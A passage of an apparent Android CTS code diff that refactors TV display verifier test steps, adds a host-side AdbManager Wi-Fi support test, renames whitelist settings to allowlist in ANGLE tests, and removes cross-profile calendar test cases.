+public abstract class TestStep extends TestStepBase {
+ protected View mButtonView;
+
+ @StringRes private int mButtonStringId;
+
+ /**
+ * Constructs a test step containing instruction to the user and a button.
+ *
+ * @param context The test activity which this test step is part of.
+ * @param instructionText Text of the test instruction visible to the user.
+ * @param buttonTextId Id of a string resource containing the text of the button.
+ */
+ public TestStep(
+ TvAppVerifierActivity context, String instructionText, @StringRes int buttonStringId) {
+ super(context, instructionText);
+ mButtonStringId = buttonStringId;
+ }
+
+ /** Creates the View for this test step in the context {@link TvAppVerifierActivity}. */
+ @Override
+ public void createUiElements() {
+ super.createUiElements();
+ mButtonView =
+ mContext.createButtonItem(
+ mButtonStringId,
+ (View view) -> {
+ onButtonClickRunTest();
+ });
+ }
+
+ @Override
+ public void enableInteractivity() {
+ TvAppVerifierActivity.setButtonEnabled(mButtonView, true);
+ }
+
+ @Override
+ public void disableInteractivity() {
+ TvAppVerifierActivity.setButtonEnabled(mButtonView, false);
+ }
+
+
+ public abstract void runTest();
+
+ private void onButtonClickRunTest() {
+ disableInteractivity();
+ runTest();
+ done();
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayHdrCapabilitiesTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayHdrCapabilitiesTestActivity.java
index 9d4219b..e0c02d8 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayHdrCapabilitiesTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayHdrCapabilitiesTestActivity.java
@@ -24,6 +24,8 @@
import androidx.annotation.StringRes;
import com.android.cts.verifier.R;
+import com.android.cts.verifier.tv.TestSequence;
+import com.android.cts.verifier.tv.TestStepBase;
import com.android.cts.verifier.tv.TvAppVerifierActivity;
import com.android.cts.verifier.tv.TvUtil;
@@ -102,8 +104,7 @@
@Override
public void runTest() {
- DisplayManager displayManager =
- (DisplayManager) mContext.getSystemService(Context.DISPLAY_SERVICE);
+ DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
getAsserter().withMessage("Display.isHdr()").that(display.isHdr()).isFalse();
getAsserter()
@@ -134,8 +135,7 @@
@Override
public void runTest() {
- DisplayManager displayManager =
- (DisplayManager) mContext.getSystemService(Context.DISPLAY_SERVICE);
+ DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
getAsserter().withMessage("Display.isHdr()").that(display.isHdr()).isTrue();
@@ -206,8 +206,7 @@
private void runTest() {
try {
// Verify the display APIs do not crash when the display is disconnected
- DisplayManager displayManager =
- (DisplayManager) mContext.getSystemService(Context.DISPLAY_SERVICE);
+ DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
display.isHdr();
display.getHdrCapabilities();
@@ -224,8 +223,7 @@
}
private static String getInstructionText(Context context) {
- DisplayManager displayManager =
- (DisplayManager) context.getSystemService(Context.DISPLAY_SERVICE);
+ DisplayManager displayManager = context.getSystemService(DisplayManager.class);
Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
int[] hdrTypes = display.getHdrCapabilities().getSupportedHdrTypes();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayModesTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayModesTestActivity.java
index a726bcf..7c8a208 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayModesTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayModesTestActivity.java
@@ -24,6 +24,8 @@
import androidx.annotation.StringRes;
import com.android.cts.verifier.R;
+import com.android.cts.verifier.tv.TestSequence;
+import com.android.cts.verifier.tv.TestStepBase;
import com.android.cts.verifier.tv.TvAppVerifierActivity;
import com.android.cts.verifier.tv.TvUtil;
@@ -122,8 +124,7 @@
private void runTest() {
try {
// Verify the display APIs do not crash when the display is disconnected
- DisplayManager displayManager =
- (DisplayManager) mContext.getSystemService(Context.DISPLAY_SERVICE);
+ DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
display.getMode();
display.getSupportedModes();
@@ -155,8 +156,7 @@
@Override
public void runTest() {
- DisplayManager displayManager =
- (DisplayManager) mContext.getSystemService(Context.DISPLAY_SERVICE);
+ DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
getAsserter()
.withMessage("Display.getMode()")
@@ -216,8 +216,7 @@
@Override
public void runTest() {
- DisplayManager displayManager =
- (DisplayManager) mContext.getSystemService(Context.DISPLAY_SERVICE);
+ DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
getAsserter()
@@ -257,8 +256,7 @@
}
private static String getInstructionText(Context context) {
- DisplayManager displayManager =
- (DisplayManager) context.getSystemService(Context.DISPLAY_SERVICE);
+ DisplayManager displayManager = context.getSystemService(DisplayManager.class);
Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
String supportedModes =
Arrays.stream(display.getSupportedModes())
@@ -281,7 +279,7 @@
}
// We use a custom Mode class since the constructors of Display.Mode are hidden. Additionally,
- // we want to use fuzzy comparision for frame rates which is not used in Display.Mode.equals().
+ // we want to use fuzzy comparison for frame rates which is not used in Display.Mode.equals().
private static class Mode {
public int mWidth;
public int mHeight;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/OneButtonTestStep.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/OneButtonTestStep.java
index c73fd53..6ee34f3 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/OneButtonTestStep.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/OneButtonTestStep.java
@@ -20,6 +20,7 @@
import androidx.annotation.StringRes;
+import com.android.cts.verifier.tv.TestStepBase;
import com.android.cts.verifier.tv.TvAppVerifierActivity;
/** Test step containing instruction to the user and a button. */
@@ -27,11 +28,9 @@
protected View mButtonView;
- @StringRes
- private int mButtonStringId;
+ @StringRes private int mButtonStringId;
- @StringRes
- private int mStepNameStringId;
+ @StringRes private int mStepNameStringId;
/**
* Constructs a test step containing instruction to the user and a button.
@@ -39,11 +38,14 @@
* @param context The test activity which this test step is part of.
* @param instructionText The text of the test instruction visible to the user.
* @param stepNameStringId Id of a string resource containing human readable name of this step
- * to be used in logs.
+ * to be used in logs.
* @param buttonStringId Id of a string resource containing the text of the button.
*/
- public OneButtonTestStep(TvAppVerifierActivity context, @StringRes int stepNameStringId,
- String instructionText, @StringRes int buttonStringId) {
+ public OneButtonTestStep(
+ TvAppVerifierActivity context,
+ @StringRes int stepNameStringId,
+ String instructionText,
+ @StringRes int buttonStringId) {
super(context, instructionText);
mStepNameStringId = stepNameStringId;
mButtonStringId = buttonStringId;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/YesNoTestStep.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/YesNoTestStep.java
index 0281252..4da4d18 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/YesNoTestStep.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/YesNoTestStep.java
@@ -19,6 +19,7 @@
import android.view.View;
import com.android.cts.verifier.R;
+import com.android.cts.verifier.tv.TestStepBase;
import com.android.cts.verifier.tv.TvAppVerifierActivity;
/**
@@ -30,8 +31,8 @@
private View noButton;
/**
- * Constructs a test step containing human instructions for a manual test and two buttons -
- * Yes and No.
+ * Constructs a test step containing human instructions for a manual test and two buttons - Yes
+ * and No.
*
* @param context The test activity which this test step is part of.
* @param instructionText The text of the test instruction visible to the user.
diff --git a/hostsidetests/adbmanager/Android.bp b/hostsidetests/adbmanager/Android.bp
new file mode 100644
index 0000000..54616e5
--- /dev/null
+++ b/hostsidetests/adbmanager/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+ name: "CtsAdbManagerHostTestCases",
+ defaults: ["cts_defaults"],
+ srcs: ["src/**/*.java"],
+ test_suites: ["cts", "general-tests"],
+ libs: [
+ "compatibility-host-util",
+ "cts-tradefed",
+ "tradefed"
+ ],
+}
diff --git a/hostsidetests/adbmanager/AndroidTest.xml b/hostsidetests/adbmanager/AndroidTest.xml
new file mode 100644
index 0000000..2194a4c
--- /dev/null
+++ b/hostsidetests/adbmanager/AndroidTest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS AdbManager host test cases">
+ <option name="test-suite-tag" value="cts" />
+ <option name="config-descriptor:metadata" key="component" value="framework" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+ <option name="jar" value="CtsAdbManagerHostTestCases.jar" />
+ </test>
+</configuration>
diff --git a/hostsidetests/adbmanager/OWNERS b/hostsidetests/adbmanager/OWNERS
new file mode 100644
index 0000000..e102aca
--- /dev/null
+++ b/hostsidetests/adbmanager/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 1352
+joshuaduong@google.com
+mpgroover@google.com
+include platform/system/core:/janitors/OWNERS
diff --git a/hostsidetests/adbmanager/src/android/adbmanager/cts/AdbManagerHostDeviceTest.java b/hostsidetests/adbmanager/src/android/adbmanager/cts/AdbManagerHostDeviceTest.java
new file mode 100644
index 0000000..474d518
--- /dev/null
+++ b/hostsidetests/adbmanager/src/android/adbmanager/cts/AdbManagerHostDeviceTest.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.adbmanager.cts;
+
+import com.android.compatibility.common.util.CddTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.tradefed.util.CommandResult;
+
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests the AdbManager System APIs via shell commands.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class AdbManagerHostDeviceTest extends BaseHostJUnit4Test {
+ private static final String FEATURE_WIFI = "android.hardware.wifi";
+ private static final String FEATURE_CAMERA_ANY = "android.hardware.camera.any";
+
+ private boolean hasFeature(String feature) throws Exception {
+ CommandResult result = getDevice().executeShellV2Command("pm has-feature " + feature);
+ return Boolean.parseBoolean(result.getStdout().trim());
+ }
+
+ @Test
+ @CddTest(requirement="6.1/C-1-1")
+ public void test_isadbWifiSupported() throws Exception {
+ boolean expected = hasFeature(FEATURE_WIFI);
+
+ CommandResult result = getDevice().executeShellV2Command("cmd adb is-wifi-supported");
+
+ Assert.assertTrue(new Integer(0).equals(result.getExitCode()));
+ Assert.assertEquals(expected, Boolean.parseBoolean(result.getStdout().trim()));
+ }
+
+ @Test
+ @CddTest(requirement="6.1/C-1-2")
+ public void test_isadbWifiQrSupported() throws Exception {
+ boolean expected = hasFeature(FEATURE_WIFI) && hasFeature(FEATURE_CAMERA_ANY);
+
+ CommandResult result = getDevice().executeShellV2Command("cmd adb is-wifi-qr-supported");
+
+ Assert.assertTrue(new Integer(0).equals(result.getExitCode()));
+ Assert.assertEquals(expected, Boolean.parseBoolean(result.getStdout().trim()));
+ }
+}
diff --git a/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java b/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java
index 7165728..9bb55fa 100644
--- a/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java
+++ b/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java
@@ -30,7 +30,7 @@
static final String SETTINGS_GLOBAL_ALL_USE_ANGLE = "angle_gl_driver_all_angle";
static final String SETTINGS_GLOBAL_DRIVER_PKGS = "angle_gl_driver_selection_pkgs";
static final String SETTINGS_GLOBAL_DRIVER_VALUES = "angle_gl_driver_selection_values";
- static final String SETTINGS_GLOBAL_WHITELIST = "angle_whitelist";
+ static final String SETTINGS_GLOBAL_ALLOWLIST = "angle_allowlist";
static final String SETTINGS_GLOBAL_ANGLE_IN_USE_DIALOG_BOX = "show_angle_in_use_dialog_box";
// System Properties
@@ -98,7 +98,7 @@
setGlobalSetting(device, SETTINGS_GLOBAL_ANGLE_IN_USE_DIALOG_BOX, "0");
setGlobalSetting(device, SETTINGS_GLOBAL_DRIVER_PKGS, "\"\"");
setGlobalSetting(device, SETTINGS_GLOBAL_DRIVER_VALUES, "\"\"");
- setGlobalSetting(device, SETTINGS_GLOBAL_WHITELIST, "\"\"");
+ setGlobalSetting(device, SETTINGS_GLOBAL_ALLOWLIST, "\"\"");
// Properties
setProperty(device, PROPERTY_TEMP_RULES_FILE, "\"\"");
diff --git a/hostsidetests/angle/src/android/angle/cts/CtsAngleRulesFileTest.java b/hostsidetests/angle/src/android/angle/cts/CtsAngleRulesFileTest.java
index 7d3fccf..326cb7a 100644
--- a/hostsidetests/angle/src/android/angle/cts/CtsAngleRulesFileTest.java
+++ b/hostsidetests/angle/src/android/angle/cts/CtsAngleRulesFileTest.java
@@ -42,7 +42,7 @@
private final String TAG = this.getClass().getSimpleName();
private File mRulesFile;
- private String mWhiteList;
+ private String mAllowList;
// Rules Files
private static final String RULES_FILE_EMPTY = "emptyRules.json";
@@ -61,32 +61,32 @@
setProperty(getDevice(), PROPERTY_TEMP_RULES_FILE, DEVICE_TEMP_RULES_FILE_PATH);
}
- private void setAndValidateAngleDevOptionWhitelist(String whiteList) throws Exception {
- // SETTINGS_GLOBAL_WHITELIST
- setGlobalSetting(getDevice(), SETTINGS_GLOBAL_WHITELIST, whiteList);
+ private void setAndValidateAngleDevOptionAllowlist(String allowList) throws Exception {
+ // SETTINGS_GLOBAL_ALLOWLIST
+ setGlobalSetting(getDevice(), SETTINGS_GLOBAL_ALLOWLIST, allowList);
- String devOption = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_WHITELIST);
+ String devOption = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_ALLOWLIST);
Assert.assertEquals(
- "Developer option '" + SETTINGS_GLOBAL_WHITELIST +
+ "Developer option '" + SETTINGS_GLOBAL_ALLOWLIST +
"' was not set correctly: '" + devOption + "'",
- whiteList, devOption);
+ allowList, devOption);
}
@Before
public void setUp() throws Exception {
clearSettings(getDevice());
- mWhiteList = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_WHITELIST);
+ mAllowList = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_ALLOWLIST);
- final String whitelist = ANGLE_DRIVER_TEST_PKG + "," + ANGLE_DRIVER_TEST_SEC_PKG;
- setAndValidateAngleDevOptionWhitelist(whitelist);
+ final String allowlist = ANGLE_DRIVER_TEST_PKG + "," + ANGLE_DRIVER_TEST_SEC_PKG;
+ setAndValidateAngleDevOptionAllowlist(allowlist);
}
@After
public void tearDown() throws Exception {
clearSettings(getDevice());
- setAndValidateAngleDevOptionWhitelist(mWhiteList);
+ setAndValidateAngleDevOptionAllowlist(mAllowList);
FileUtil.deleteFile(mRulesFile);
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ApkVerityInstallTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ApkVerityInstallTest.java
index 212986a..80f4c3f 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ApkVerityInstallTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ApkVerityInstallTest.java
@@ -26,6 +26,7 @@
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import com.android.tradefed.testtype.junit4.DeviceTestRunOptions;
+import org.junit.After;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -64,6 +65,11 @@
|| APK_VERITY_STANDARD_MODE.equals(apkVerityMode));
}
+ @After
+ public void tearDown() throws DeviceNotAvailableException {
+ getDevice().uninstallPackage(PACKAGE_NAME);
+ }
+
@CddTest(requirement="9.10/C-0-3")
@Test
public void testInstallBase() throws DeviceNotAvailableException, FileNotFoundException {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
index a08a515..2a087dc 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
@@ -488,6 +488,8 @@
private void doMediaSandboxed(Config config, boolean sandboxed) throws Exception {
installPackage(config.apk);
installPackage(MEDIA_29.apk);
+ // Make sure user initialization is complete before updating permission
+ waitForBroadcastIdle();
for (int user : mUsers) {
updatePermissions(config.pkg, user, new String[] {
PERM_READ_EXTERNAL_STORAGE,
@@ -749,6 +751,11 @@
}
}
+ /** Wait until all broadcast queues are idle. */
+ private void waitForBroadcastIdle() throws Exception{
+ getDevice().executeShellCommand("am wait-for-broadcast-idle");
+ }
+
private void updateAppOp(String packageName, int userId, String appOp, boolean allow)
throws Exception {
updateAppOp(packageName, false, userId, appOp, allow);
diff --git a/hostsidetests/appsecurity/test-apps/LocationPolicyApp/src/android/appsecurity/cts/locationpolicy/LocationPolicyTest.java b/hostsidetests/appsecurity/test-apps/LocationPolicyApp/src/android/appsecurity/cts/locationpolicy/LocationPolicyTest.java
index a91948b..51fa279 100644
--- a/hostsidetests/appsecurity/test-apps/LocationPolicyApp/src/android/appsecurity/cts/locationpolicy/LocationPolicyTest.java
+++ b/hostsidetests/appsecurity/test-apps/LocationPolicyApp/src/android/appsecurity/cts/locationpolicy/LocationPolicyTest.java
@@ -23,6 +23,7 @@
import android.Manifest;
import android.content.Context;
import android.content.pm.PackageManager;
+import android.os.UserManager;
import android.platform.test.annotations.SecurityTest;
import android.telephony.TelephonyManager;
import androidx.test.InstrumentationRegistry;
@@ -49,6 +50,10 @@
PackageManager.PERMISSION_GRANTED,
pm.checkPermission(Manifest.permission.ACCESS_COARSE_LOCATION,
mContext.getPackageName()));
+ UserManager manager = mContext.getSystemService(UserManager.class);
+ if (manager.isSystemUser()) {
+ return;
+ }
if (pm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
TelephonyManager tele = mContext.getSystemService(TelephonyManager.class);
try {
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java
index 4321f38..f6659f3 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java
@@ -88,6 +88,12 @@
mUiDevice.pressHome();
}
+ public void testLockTaskIsActive() throws Exception {
+ Log.d(TAG, "testLockTaskIsActive on host-driven test");
+ waitAndCheckLockedActivityIsResumed();
+ checkLockedActivityIsRunning();
+ }
+
/**
* On low-RAM devices, this test can take too long to finish, so the test runner can incorrectly
* assume it's finished. Therefore, only use it once in a given test.
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CrossProfileCalendarTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CrossProfileCalendarTest.java
index 5ced0e6..0c1cd8f 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CrossProfileCalendarTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CrossProfileCalendarTest.java
@@ -16,33 +16,13 @@
package com.android.cts.managedprofile;
import static com.android.cts.managedprofile.BaseManagedProfileTest.ADMIN_RECEIVER_COMPONENT;
+
import static com.google.common.truth.Truth.assertThat;
-import static org.testng.Assert.assertThrows;
-
-import android.accounts.Account;
-import android.accounts.AccountManager;
import android.app.admin.DevicePolicyManager;
-import android.content.ContentResolver;
-import android.content.ContentUris;
-import android.content.ContentValues;
-import android.content.Intent;
-import android.database.Cursor;
-import android.net.Uri;
-import android.provider.CalendarContract;
-import android.provider.Settings.Secure;
-import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.UiDevice;
-import android.support.test.uiautomator.UiObject2;
-import android.support.test.uiautomator.Until;
import android.test.AndroidTestCase;
-import android.text.TextUtils;
-import android.text.format.DateUtils;
-import android.text.format.Time;
import android.util.ArraySet;
-import androidx.test.InstrumentationRegistry;
-
import java.util.Arrays;
import java.util.Collections;
import java.util.Set;
@@ -55,73 +35,11 @@
private static final String MANAGED_PROFILE_PKG = "com.android.cts.managedprofile";
- private static final String TEST_ACCOUNT_NAME = AccountAuthenticator.ACCOUNT_NAME;
- private static final String TEST_ACCOUNT_TYPE = AccountAuthenticator.ACCOUNT_TYPE;
-
- private static String WORK_CALENDAR_TITLE = "Calendar1";
- private static int WORK_CALENDAR_COLOR = 0xFFFF0000;
- // Make sure sync_event=1 for the test calendar so that instances table got updated.
- private static int WORK_SYNC_EVENT = 1;
- private static String WORK_TIMEZONE = "America/Los_Angeles";
-
- private static String WORK_EVENT_TITLE = "event_title1";
- private static String WORK_EVENT_TITLE_2= "event_title2";
- private static final String WORK_EVENT_DTSTART_STRING = "2018-05-01T00:00:00";
- private static final String WORK_EVENT_DTEND_STRING = "2018-05-01T20:00:00";
- private static final String WORK_EVENT_DTSTART_STRING_2 = "2013-05-01T00:00:00";
- private static final String WORK_EVENT_DTEND_STRING_2 = "2013-05-01T20:00:00";
- private static long WORK_EVENT_DTSTART = parseTimeStringToMillis(
- WORK_EVENT_DTSTART_STRING, WORK_TIMEZONE);
- private static long WORK_EVENT_DTEND = parseTimeStringToMillis(
- WORK_EVENT_DTEND_STRING, WORK_TIMEZONE);
- private final long WORK_EVENT_DTSTART_2 = parseTimeStringToMillis(
- WORK_EVENT_DTSTART_STRING_2, WORK_TIMEZONE);
- private final long WORK_EVENT_DTEND_2 = parseTimeStringToMillis(
- WORK_EVENT_DTEND_STRING_2, WORK_TIMEZONE);
- private static long WORK_EVENT_DTSTART_JULIAN_DAY = parseTimeStringToJulianDay(
- WORK_EVENT_DTSTART_STRING, WORK_TIMEZONE);
- private static long WORK_EVENT_DTEND_JULIAN_DAY = parseTimeStringToJulianDay(
- WORK_EVENT_DTEND_STRING, WORK_TIMEZONE);
- private final long WORK_EVENT_DTSTART_2_JULIAN_DAY = parseTimeStringToJulianDay(
- WORK_EVENT_DTSTART_STRING_2, WORK_TIMEZONE);
- private final long WORK_EVENT_DTEND_2_JULIAN_DAY = parseTimeStringToJulianDay(
- WORK_EVENT_DTEND_STRING_2, WORK_TIMEZONE);
-
- private static int WORK_EVENT_COLOR = 0xff123456;
- private static String WORK_EVENT_LOCATION = "Work event location.";
- private static String WORK_EVENT_DESCRIPTION = "This is a work event.";
-
- private static final String CROSS_PROFILE_CALENDAR_ENABLED =
- "cross_profile_calendar_enabled";
-
- private static final String SELECTION_ACCOUNT_TYPE = "(" +
- CalendarContract.Calendars.ACCOUNT_TYPE + " = ? )";
-
- private static final long TEST_VIEW_EVENT_ID = 1;
- private static final long TEST_VIEW_EVENT_START = 100;
- private static final long TEST_VIEW_EVENT_END = 10000;
- private static final boolean TEST_VIEW_EVENT_ALL_DAY = false;
- private static final int TEST_VIEW_EVENT_FLAG = Intent.FLAG_ACTIVITY_NEW_TASK;
-
- private ContentResolver mResolver;
private DevicePolicyManager mDevicePolicyManager;
- private static long parseTimeStringToMillis(String timeStr, String timeZone) {
- Time time = new Time(timeZone);
- time.parse3339(timeStr);
- return time.toMillis(/* ignoreDst= */false );
- }
-
- private static int parseTimeStringToJulianDay(String timeStr, String timeZone) {
- Time time = new Time(timeZone);
- time.parse3339(timeStr);
- return Time.getJulianDay(time.toMillis(/* ignoreDst= */false), time.gmtoff);
- }
-
@Override
protected void setUp() throws Exception {
super.setUp();
- mResolver = mContext.getContentResolver();
mDevicePolicyManager = mContext.getSystemService(DevicePolicyManager.class);
}
@@ -146,352 +64,11 @@
assertThat(whitelist).isEmpty();
}
- // This test should be run when the test package is not whitelised or cross-profile calendar
- // is disabled in settings.
- public void testPrimaryProfile_cannotAccessWorkCalendarsWhenDisabled() {
- requireRunningOnPrimaryProfile();
-
- assertThrows(UnsupportedOperationException.class, () -> mResolver.query(
- CalendarContract.Calendars.ENTERPRISE_CONTENT_URI,
- null, null, null, null));
- }
-
- // This test should be run when the test package is not whitelised or cross-profile calendar
- // is disabled in settings.
- public void testPrimaryProfile_cannotAccessWorkEventsWhenDisabled() {
- requireRunningOnPrimaryProfile();
-
- assertThrows(UnsupportedOperationException.class, () -> mResolver.query(
- CalendarContract.Events.ENTERPRISE_CONTENT_URI,
- null, SELECTION_ACCOUNT_TYPE, new String[]{TEST_ACCOUNT_TYPE}, null));
- }
-
- // This test should be run when the test package is not whitelised or cross-profile calendar
- // is disabled in settings.
- public void testPrimaryProfile_cannotAccessWorkInstancesWhenDisabled() {
- requireRunningOnPrimaryProfile();
-
- assertThrows(UnsupportedOperationException.class, () -> mResolver.query(
- buildQueryInstancesUri(CalendarContract.Instances.ENTERPRISE_CONTENT_URI,
- WORK_EVENT_DTSTART - DateUtils.YEAR_IN_MILLIS,
- WORK_EVENT_DTEND + DateUtils.YEAR_IN_MILLIS, null),
- null, null, null, null));
- }
-
- // This test should be run when the test package is whitelisted and cross-profile calendar
- // is enabled in settings.
- public void testPrimaryProfile_getCorrectWorkCalendarsWhenEnabled() {
- requireRunningOnPrimaryProfile();
-
- // Test the return cursor is correct when the all checks are met.
- final String[] projection = new String[] {
- CalendarContract.Calendars.IS_PRIMARY,
- CalendarContract.Calendars.CALENDAR_COLOR,
- CalendarContract.Calendars.CALENDAR_TIME_ZONE
- };
- final Cursor cursor = mResolver.query(
- CalendarContract.Calendars.ENTERPRISE_CONTENT_URI,
- projection, SELECTION_ACCOUNT_TYPE, new String[]{TEST_ACCOUNT_TYPE}, null);
-
- assertThat(cursor).isNotNull();
- assertThat(cursor.getCount()).isEqualTo(1);
- cursor.moveToFirst();
- assertThat(cursor.getInt(0)).isEqualTo(1);
- assertThat(cursor.getInt(1)).isEqualTo(WORK_CALENDAR_COLOR);
- assertThat(cursor.getString(2)).isEqualTo(WORK_TIMEZONE);
- }
-
- // This test should be run when the test package is whitelisted and cross-profile calendar
- // is enabled in settings.
- public void testPrimaryProfile_getCorrectWorkEventsWhenEnabled() {
- requireRunningOnPrimaryProfile();
-
- // Test the return cursor is correct when the all checks are met.
- final String selection = "(" + CalendarContract.Calendars.ACCOUNT_TYPE + "=? AND "
- + CalendarContract.Events.TITLE + " =? )";
- final String[] selectionArgs = new String[] {
- TEST_ACCOUNT_TYPE,
- WORK_EVENT_TITLE
- };
- final String[] projection = new String[] {
- CalendarContract.Events.TITLE,
- CalendarContract.Events.EVENT_LOCATION,
- CalendarContract.Events.DTSTART,
- CalendarContract.Calendars.IS_PRIMARY
- };
- final Cursor cursor = mResolver.query(
- CalendarContract.Events.ENTERPRISE_CONTENT_URI,
- projection, selection, selectionArgs, null);
-
- assertThat(cursor).isNotNull();
- assertThat(cursor.getCount()).isEqualTo(1);
- cursor.moveToFirst();
- assertThat(cursor.getString(0)).isEqualTo(WORK_EVENT_TITLE);
- assertThat(cursor.getString(1)).isEqualTo(WORK_EVENT_LOCATION);
- assertThat(cursor.getLong(2)).isEqualTo(WORK_EVENT_DTSTART);
- assertThat(cursor.getInt(3)).isEqualTo(1);
- }
-
- // This test should be run when the test package is whitelisted and cross-profile calendar
- // is enabled in settings.
- public void testPrimaryProfile_getCorrectWorkInstancesWhenEnabled() {
- requireRunningOnPrimaryProfile();
-
- // Test the return cursor is correct when the all checks are met.
- final String[] projection = new String[]{
- CalendarContract.Instances.TITLE,
- CalendarContract.Instances.DTSTART,
- CalendarContract.Instances.IS_PRIMARY,
- };
- final Cursor cursor = mResolver.query(
- buildQueryInstancesUri(CalendarContract.Instances.ENTERPRISE_CONTENT_URI,
